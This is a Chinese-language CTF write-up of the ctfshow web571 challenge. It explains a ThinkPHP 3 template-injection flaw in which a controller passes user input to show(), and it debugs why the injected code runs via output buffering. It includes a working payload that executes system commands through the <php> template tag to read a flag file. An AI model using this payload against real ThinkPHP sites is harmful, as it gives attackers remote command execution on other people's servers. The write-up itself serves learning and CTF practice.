记一道thinkphp题引发的思考

本篇仅代表个人观点。

ctfshow web571

先看题—ctfshow web571

提示:黑客建立了控制器后门

所以直接从控制器中找利用点,发现/Home/Controller/indexController.class.php中控制器可传参n,并且在最后会被渲染

public function index($n=''){
    $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
}

所以利用点很明显了直接传参

/index.php/home/index/index/n/{php}system('cat /fl*');{/php}

但传参后并没有执行,主要是两个问题

1、标签问题,我这里用的是tp5的标签{},但后来经过查看手册tp3的标签是<>

2、就是关于URL解析方式的问题,如果执行语句是常规的echo $n;,是肯定没有问题的,但这里利用点是show方法,传参方式就需要是?n=这种常规的方式,之前的方式传入标签后是不会被解析的,本地测试了一下确实是这样:

<?php
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller{
    public function index($name=''){
   $this->show($name);
    }
}

在这里插入图片描述

所以最后的payload:

/index.php/home/index/index/?n=<php>system('cat /fl*');</php>

本地调试

本地有环境顺便debug了一波:

跟进show()->display()->fetch(),之前的$content一直是<php>echo 'Sentiment';</php>,经过129行后变成了Sentiment
在这里插入图片描述

就很疑惑跟了进去,发现这个地方进行了赋值

在这里插入图片描述

看了一下ob_get_contents用法——返回输出缓冲区的内容

在这里插入图片描述

这里echo没执行的原因:

ob_start()把输出内容输出到缓冲区,而不是到浏览器。然后用ob_get_contents得到缓冲区的数据。

思考

看完后就更蒙蔽了,这里为什么会在缓冲区进行解析?

后来看了师傅的文章,他说本题由于TMPL_ENGINE_TYPE我们默认的值是Think,而ctfshow设置的是php,所以可以进入117行的if,从而执行eval,执行了我们输入的语句

在这里插入图片描述

后来我把TMPL_ENGINE_TYPE改成了php进行debug,但无法正常解析执行。而且还有个问题就是即使我们不使用php而是使用默认的Think,模板也照样会渲染输出最后的Sentiment

所以我认为这里跟eval语句无关,还是一个缓冲区的问题。(仅个人观点)

于是在本地进行了ob_get_contents()的测试

<?php
ob_start();
echo "<br>echo '12'</br>";
$out1 = ob_get_contents();
ob_end_clean();
var_dump($out1);
?>

在这里插入图片描述

发现渲染了<br>标签,发生了换行,但里边的语句并没有执行

所以在tp源码这里,由于tp内置标签<php>会执行php语句,所以在渲染<php>echo 'Sentiment';</php>标签时,就相当于是执行了php语句echo 'Sentiment';,而由于ob_start()的存在这里的echo并不会直接输出出来,而是先放到缓存区,之后再通过ob_get_contents()得到缓冲区数据,就得到了最后的Sentiment值,

所以在tp的内部就相当于执行了:

<?php
ob_start();
echo 'Sentiment';
$contents = ob_get_contents();
if ($contents !== false) ob_end_clean();
return $contents;
?>

再经过retrun 返回就得到了129行的$content=Sentiment

后来查资料看师傅说:

大部分使用 php模板引擎技术 外部可以控制的情况下,都容易存在这种问题跟tp框架无关但并没有做过多的解释。

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值